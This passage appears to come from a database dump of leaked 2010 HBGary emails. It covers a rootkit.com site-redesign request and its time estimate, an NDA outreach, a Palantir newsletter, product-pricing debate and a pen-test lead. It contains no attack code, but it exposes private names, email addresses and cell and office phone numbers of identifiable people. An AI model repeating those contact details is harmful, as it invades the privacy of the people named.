\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; 1) keep the same look / graphics, no graphic\r\ndesign\r\n&gt; \r\n&gt;&gt; required\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; 2) left hand menu,\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; remove the list of rootkits\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; add a [source code search] box\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; 3) convert rootkit project system to a more\r\ngeneral\r\n&gt; \r\n&gt;&gt; purpose\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; source-code repository\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; 3a) each project includes downloadable zip of\r\nsource\r\n&gt; \r\n&gt;&gt; code\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; 3b) each project includes contributer and short\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; description /\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; article\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; 3c) the source code of the project can be viewed\r\n&gt; \r\n&gt;&gt; online\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; using a\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; pretty-printed source code display (php)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; 3d) the forum that goes with each project is\r\nremoved\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; 4) consolidate the forums into a single large\r\nforum,\r\n&gt; \r\n&gt;&gt; preserve\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; historical posts\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; 5) update the project creation to allow source\r\ncode\r\n&gt; to\r\n&gt; \r\n&gt;&gt; any\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; tool to\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; be uploaded, description / short article added\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; I can better explain the concept of this on the\r\nfone\r\n&gt; or\r\n&gt; \r\n&gt;&gt; in\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; person.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; --Greg\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; Aaron Barr\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; CEO\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; Aaron Barr\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; CEO\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; Aaron Barr CEO HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; \r\n\r\n&gt; Aaron Barr CEO HBGary Federal Inc.\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/gRcACgkQWw/TEDXzQNPDXgCfaKFlG0fMh8piW1FcK9niDy68\r\n/m0An3KIcBiHcd9Tc2+FGKr4rHlnBzF1\r\n=lIjQ\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n',13503,'aaron_hbgary_com/13503.html'),(5099,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003248.M293834P3547Q5100.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: [Fwd: Re: Fwd: Rootkit.com web design work]','Greg,Sorry I missed the boat on the work for this, we had already discussed this and that Mark was the right guy, so don\'t need the other Aaron.See below. &nbsp;Marks WAG is ~192hours or 5 weeks.BTW, I had a good conversation with a company you should look at NEKASG.com (very blackwater like, all special forces)... they need tech help. &nbsp;I emailed them today to schedule a discussion out in colorado springs (where they are headquartered).AaronBegin forwarded message:From: Mark Trynor &lt;mark@hbgary.com&gt;Date: April 9, 2010 3:34:17 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: [Fwd: Re: Fwd: Rootkit.com web design work]\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n\r\n\r\n- -------- Original Message --------\r\nSubject:&nbsp;&nbsp;&nbsp;&nbsp; Re: Fwd: Rootkit.com web design work\r\nDate:&nbsp;&nbsp;&nbsp;&nbsp; Fri, 09 Apr 2010 12:58:23 -0600\r\nFrom:&nbsp;&nbsp;&nbsp;&nbsp; Mark Trynor &lt;mark@hbgary.com&gt;\r\nTo:&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCC:&nbsp;&nbsp;&nbsp;&nbsp; Ted Vera &lt;ted@hbgary.com&gt;\r\nReferences:\r\n&lt;p2oc78945011004060811i77940e51v161246aa970882f0@mail.gmail.com&gt;\r\n&lt;CF6E6E6B-7350-4057-816E-09F660D3C0B8@hbgary.com&gt;\r\n\r\n\r\n\r\nTime WAG :\r\n\r\n1 - 3 days to add/remove the other stuff\r\n2 - 3 days to create search box\r\n3 - 10 days to convert and add pretty printing and what have you\r\n4 - 5 days to consolidate and archive\r\n5 - 3 days to add upload functionality\r\n\r\ntotal ~ 192 hours so 5 works weeks with no distractions\r\n\r\nAaron Barr wrote:\r\n&gt; \r\n&gt; \r\n&gt; Begin forwarded message:\r\n&gt; \r\n&gt;&gt; *From: *Greg Hoglund &lt;greg@hbgary.com\r\n&lt;mailto:greg@hbgary.com&gt;&gt; \r\n&gt;&gt; *Date: *April 6, 2010 11:11:07 AM EDT *To: *Aaron Barr\r\n&gt;&gt; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt;&gt; *Cc:\r\n&gt;&gt; *penny@hbgary.com &lt;mailto:penny@hbgary.com&gt; *Subject:\r\n&gt;&gt; **Rootkit.com &lt;http://Rootkit.com&gt; web design work*\r\n&gt;&gt; \r\n&gt;&gt; \r\n&gt;&gt; Aaron,\r\n&gt;&gt; \r\n&gt;&gt; How much to have your new guy do some web programming for \r\n&gt;&gt; rootkit.com &lt;http://rootkit.com/&gt; ?\r\n&gt;&gt; \r\n&gt;&gt; here is what I am looking for:\r\n&gt;&gt; \r\n&gt;&gt; 1) keep the same look / graphics, no graphic design required\r\n2)\r\n&gt;&gt; left hand menu, remove the list of rootkits add a [source\r\ncode\r\n&gt;&gt; search] box 3) convert rootkit project system to a more\r\ngeneral\r\n&gt;&gt; purpose source-code repository 3a) each project includes\r\n&gt;&gt; downloadable zip of source code 3b) each project includes\r\n&gt;&gt; contributer and short description / article 3c) the source\r\ncode\r\n&gt;&gt; of the project can be viewed online using a pretty-printed\r\nsource\r\n&gt;&gt; code display (php) 3d) the forum that goes with each project\r\nis\r\n&gt;&gt; removed 4) consolidate the forums into a single large forum,\r\n&gt;&gt; preserve historical posts 5) update the project creation to\r\nallow\r\n&gt;&gt; source code to any tool to be uploaded, description / short\r\n&gt;&gt; article added\r\n&gt;&gt; \r\n&gt;&gt; I can better explain the concept of this on the fone or in\r\n&gt;&gt; person.\r\n&gt;&gt; \r\n&gt;&gt; --Greg\r\n&gt; \r\n&gt; Aaron Barr CEO HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/gTkACgkQWw/TEDXzQNPR9wCeP43y/7Ku/EPearc1BpWUTPX1\r\n1rkAnR1ECzBn2j89ixeg8BR9lOcH1fAU\r\n=41AS\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10536,'aaron_hbgary_com/10536.html'),(5100,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003248.M564393P3547Q5101.eml','N.villeneuve@secdev.ca,N.villeneuve@secdev.ca','NDA and Collaboration','Nart,\r\n\r\nIt was very nice talking with you at the Palantir conference.  I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\n\r\nHow often do you come down to DC?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n',452,'aaron_hbgary_com/452.html'),(5101,'2010-04-09','\"Palantir Technologies\" <Palantir_Technologies@mail.vresp.com>','/aaron@hbgary.com/new/1297003248.M806103P3547Q5102.eml','aaron@hbgary.com','Palantir Technologies\' 5th Government Conference','\r\n  \r\n  \r\n\r\n	\r\n		\r\n	\r\n	\r\n		\r\n			Palantir Technologies&rsquo; 5th Government Conference was a huge success with over 1,000 guests in attendance.&nbsp; Attendees represented many communities of interest, including defense, intelligence, law enforcement, and finance to name a few.\r\n		\r\n			If you had the opportunity to attend, I hope you enjoyed the day&rsquo;s presentations and breakout sessions.&nbsp; If you were unable to attend or would like to watch any of the sessions again, videos of all conference presentations will be available on our website within two weeks.&nbsp; Subscribe to the Palantir analysis blog for updates.\r\n		\r\n			The next Palantir Government Conference is coming in October 2010.&nbsp; We look forward to seeing you there!\r\n		\r\n			&nbsp;\r\n		\r\n			Sincerely,\r\n		\r\n			Shyam Sankar\r\n		\r\n			Director, Forward Deployed Engineering\r\n		\r\n			Palantir Technologies\r\n	 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n           Click to view this email in a browser\r\n           \r\n         \r\n       If you no longer wish to receive emails from Palantir Technologies, please reply to this message with \"Unsubscribe\" in the subject line or simply click on the following link: \r\n \r\nUnsubscribe\r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n                  Palantir Technologies\r\n        100 Hamilton Ave\r\n        STE 300\r\n        Palo Alto, California 94301\r\n\r\n       \r\n          \r\nRead the VerticalResponse marketing policy.\r\n\r\n\r\n        \r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',14599,'aaron_hbgary_com/14599.html'),(5102,'2010-04-09','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003248.M91511P3547Q5099.eml','\"Aaron Barr\" <aaron@hbgary.com>','[Fwd: Re: Fwd: Rootkit.com web design work]','\r\n\r\n\r\n  \r\n\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n\r\n\r\n- -------- Original Message --------\r\nSubject:&nbsp;&nbsp;&nbsp;&nbsp; Re: Fwd: Rootkit.com web design work\r\nDate:&nbsp;&nbsp;&nbsp;&nbsp; Fri, 09 Apr 2010 12:58:23 -0600\r\nFrom:&nbsp;&nbsp;&nbsp;&nbsp; Mark Trynor &lt;mark@hbgary.com&gt;\r\nTo:&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCC:&nbsp;&nbsp;&nbsp;&nbsp; Ted Vera &lt;ted@hbgary.com&gt;\r\nReferences:\r\n&lt;p2oc78945011004060811i77940e51v161246aa970882f0@mail.gmail.com&gt;\r\n&lt;CF6E6E6B-7350-4057-816E-09F660D3C0B8@hbgary.com&gt;\r\n\r\n\r\n\r\nTime WAG :\r\n\r\n1 - 3 days to add/remove the other stuff\r\n2 - 3 days to create search box\r\n3 - 10 days to convert and add pretty printing and what have you\r\n4 - 5 days to consolidate and archive\r\n5 - 3 days to add upload functionality\r\n\r\ntotal ~ 192 hours so 5 works weeks with no distractions\r\n\r\nAaron Barr wrote:\r\n&gt; \r\n&gt; \r\n&gt; Begin forwarded message:\r\n&gt; \r\n&gt;&gt; *From: *Greg Hoglund &lt;greg@hbgary.com\r\n&lt;mailto:greg@hbgary.com&gt;&gt; \r\n&gt;&gt; *Date: *April 6, 2010 11:11:07 AM EDT *To: *Aaron Barr\r\n&gt;&gt; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt;&gt; *Cc:\r\n&gt;&gt; *penny@hbgary.com &lt;mailto:penny@hbgary.com&gt; *Subject:\r\n&gt;&gt; **Rootkit.com &lt;http://Rootkit.com&gt; web design work*\r\n&gt;&gt; \r\n&gt;&gt; \r\n&gt;&gt; Aaron,\r\n&gt;&gt; \r\n&gt;&gt; How much to have your new guy do some web programming for \r\n&gt;&gt; rootkit.com &lt;http://rootkit.com/&gt; ?\r\n&gt;&gt; \r\n&gt;&gt; here is what I am looking for:\r\n&gt;&gt; \r\n&gt;&gt; 1) keep the same look / graphics, no graphic design required\r\n2)\r\n&gt;&gt; left hand menu, remove the list of rootkits add a [source\r\ncode\r\n&gt;&gt; search] box 3) convert rootkit project system to a more\r\ngeneral\r\n&gt;&gt; purpose source-code repository 3a) each project includes\r\n&gt;&gt; downloadable zip of source code 3b) each project includes\r\n&gt;&gt; contributer and short description / article 3c) the source\r\ncode\r\n&gt;&gt; of the project can be viewed online using a pretty-printed\r\nsource\r\n&gt;&gt; code display (php) 3d) the forum that goes with each project\r\nis\r\n&gt;&gt; removed 4) consolidate the forums into a single large forum,\r\n&gt;&gt; preserve historical posts 5) update the project creation to\r\nallow\r\n&gt;&gt; source code to any tool to be uploaded, description / short\r\n&gt;&gt; article added\r\n&gt;&gt; \r\n&gt;&gt; I can better explain the concept of this on the fone or in\r\n&gt;&gt; person.\r\n&gt;&gt; \r\n&gt;&gt; --Greg\r\n&gt; \r\n&gt; Aaron Barr CEO HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/gTkACgkQWw/TEDXzQNPR9wCeP43y/7Ku/EPearc1BpWUTPX1\r\n1rkAnR1ECzBn2j89ixeg8BR9lOcH1fAU\r\n=41AS\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n',16050,'aaron_hbgary_com/16050.html'),(5103,'2010-04-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003248.M998589P3547Q5103.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: THoughts on pricing for Threat Intel Center?','---------- Forwarded message ----------\r\nFrom: Penny Leavy-Hoglund \r\nDate: Friday, April 2, 2010\r\nSubject: THoughts on pricing for Threat Intel Center?\r\nTo: Ted Vera , Maria Lucas , Bob\r\nSlapnik , Rich Cummings \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n\r\n\r\n\r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5451,'aaron_hbgary_com/5451.html'),(5104,'2010-04-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003249.M215713P3547Q5104.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: THoughts on pricing for Threat Intel Center?','---------- Forwarded message ----------\r\nFrom: Penny Leavy-Hoglund \r\nDate: Friday, April 2, 2010\r\nSubject: THoughts on pricing for Threat Intel Center?\r\nTo: Maria Lucas \r\nCc: Ted Vera , Bob Slapnik , Rich\r\nCummings \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhy would we sell it as a subscription???????  They are not\r\nsubscribing to anything, they don’t’ get malware from us, they get malware from\r\nthem (their internal networks etc).  There is an ability to tag where malware\r\ncame from, I did ask Greg this question previously.  I will find out about\r\nreporting, but we could “customize” reports if we send developer on site.\r\nGuys, you can either sell it or not, we have DDNA that we are upgrading and\r\nActive Defense.  Thre is no one doing this today, so it shouldn’t be that\r\nhard.\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com]\r\nSent: Friday, April 02, 2010 11:34 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Ted Vera; Bob Slapnik; Rich Cummings\r\nSubject: Re: THoughts on pricing for Threat Intel Center?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe should have a minium base price of $100,000 sold as a\r\nsubscription...\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI expect that there is a \"limited\" market and if\r\ncustomers want this they will be willing to pay.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI also expect they will want\r\nadditional features -- web interface, reporting by sub agency, correlation\r\nreports etc.\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Apr 2, 2010 at 11:08 AM, Penny Leavy-Hoglund  wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n\r\n\r\n\r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for   delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com\r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16733,'aaron_hbgary_com/16733.html'),(5105,'2010-04-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003249.M429835P3547Q5105.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','RE: Voicemail re:services engagement','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Ira,\r\n\r\n&nbsp;\r\n\r\nI talked with Aaron and yes we would be interested.  Aaron heads\r\nup our consulting side, so you two should probably get together.  \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ira Entis\r\n[mailto:Ira.Entis@agilex.com] \r\nSent: Wednesday, April 07, 2010 2:55 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Voicemail re:services engagement\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHow about tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 7, 2010, at 1:54 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood.&nbsp;\r\nI have an 11 but that is about it\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ira Entis\r\n[mailto:Ira.Entis@agilex.com] \r\nSent: Wednesday, April 07, 2010 12:15 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Voicemail re:services engagement\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHow\r\ndoes your schedule look today?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 9:01 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey\r\nIra,\r\n\r\n&nbsp;\r\n\r\nOn a\r\nplane all day to day coming back from East Coast.&nbsp; I’m in office all day\r\ntomorrow, I’m at ext 105, or my cell 408-316-8002\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ira Entis\r\n[mailto:Ira.Entis@agilex.com] \r\nSent: Wednesday, March 31, 2010 7:59 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Voicemail re:services engagement\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny\r\n-- can we speak tomorrow?\r\n\r\n\r\n\r\n\r\n- Ira\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMar 26, 2010, at 2:13 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK,\r\nwho do we call?&nbsp; John or Ira regarding this?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;John Edwards\r\n[mailto:John.Edwards@agilex.com]&nbsp;\r\nSent:&nbsp;Friday, March 26,\r\n2010 8:19 AM\r\nTo:&nbsp;Rich Cummings\r\nCc:&nbsp;Aaron Barr; Penny\r\nLeavy-Hoglund; Ira Entis; Dave Martin\r\nSubject:&nbsp;Re: Voicemail\r\nre:services engagement\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRich,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow!\r\n&nbsp;I hope the 250 hour effort was successful.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nlook forward to talking to Penny and Aaron re this new opportunity.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom\r\nour side, Ira Entis is going to be the focal point at LANL is in his Sector\'s\r\nAOR.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\'ve\r\ncc\'d Ira on this response.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMar 26, 2010, at 11:07 AM, Rich Cummings wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the\r\nvoicemail yesterday and I hope you’re doing well.&nbsp; Sorry for the delayed\r\nresponse as I just returned from an intrusion investigation where an HBGary\r\nengineer and I booked over 250 hours of work in 9 days.&nbsp; I’m trying to\r\nplay catch up now for the last 10 days.&nbsp; &nbsp;I’m CC’ing Penny and Aaron\r\nBarr as HBGary Federal might be interested in pursuing the pen-test opportunity\r\nwith you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRich &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10343,'aaron_hbgary_com/10343.html'),(5106,'2010-04-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003250.M444382P3547Q5106.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Resume','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed sent me this resume, he might be someone\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, April 08, 2010 4:06 PM\r\nTo: Penny Hoglund Leavy\r\nSubject: Fwd: Resume\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWe were thinking about Jeff for cyber genome AI. Good\r\ndeveloper, has RE experience.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded 